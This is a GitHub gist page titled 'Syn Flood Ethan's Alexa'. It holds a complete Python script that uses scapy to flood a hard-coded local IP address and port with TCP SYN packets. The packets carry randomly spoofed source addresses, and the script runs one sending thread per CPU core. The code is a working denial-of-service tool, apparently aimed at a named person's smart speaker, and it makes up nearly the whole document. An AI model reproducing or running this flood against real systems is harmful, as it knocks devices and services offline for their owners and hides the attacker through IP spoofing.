Created
July 18, 2017 06:34
-
-
Save zillwc/bbcde5c54e185f56dccc5d5bed460b64 to your computer and use it in GitHub Desktop.
Syn Flood Ethan's Alexa
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys | |
| import random | |
| import logging | |
| import threading | |
| import multiprocessing | |
| import scapy.all as scapy | |
| logging.getLogger('scapy.runtime').setLevel(logging.ERROR) | |
| cpu_count = multiprocessing.cpu_count() | |
| total_packets = 0 | |
| def send_syn_packet(ip, port): | |
| ip_layer = scapy.IP() | |
| tcp_layer = scapy.TCP() | |
| ip_layer.src = '%i.%i.%i.%i' % ( | |
| random.randint(1, 254), | |
| random.randint(1, 254), | |
| random.randint(1, 254), | |
| random.randint(1, 254) | |
| ) | |
| tcp_layer.sport = random.randint(1, 65535) | |
| tcp_layer.flags = 'S' | |
| ip_layer.dst = ip | |
| tcp_layer.dport = port | |
| scapy.send(ip_layer / tcp_layer, verbose=0) | |
| def syn_flood(ip, port): | |
| global total_packets | |
| while True: | |
| send_syn_packet(ip, port) | |
| total_packets += 1 | |
| if total_packets % 100 == 0: | |
| print('Total packets sent: %i' % total_packets) | |
| def main(): | |
| alexa_ip = '192.168.1.46' # todo: utilize nmap to make this dynamic | |
| alexa_port = 8080 | |
| scapy.conf.iface = 'en0' # todo: support inputs | |
| print('Syn Flooding Alexa...') | |
| for i in range(cpu_count): | |
| threading.Thread( | |
| target=syn_flood, | |
| args=(alexa_ip, alexa_port) | |
| ).start() | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment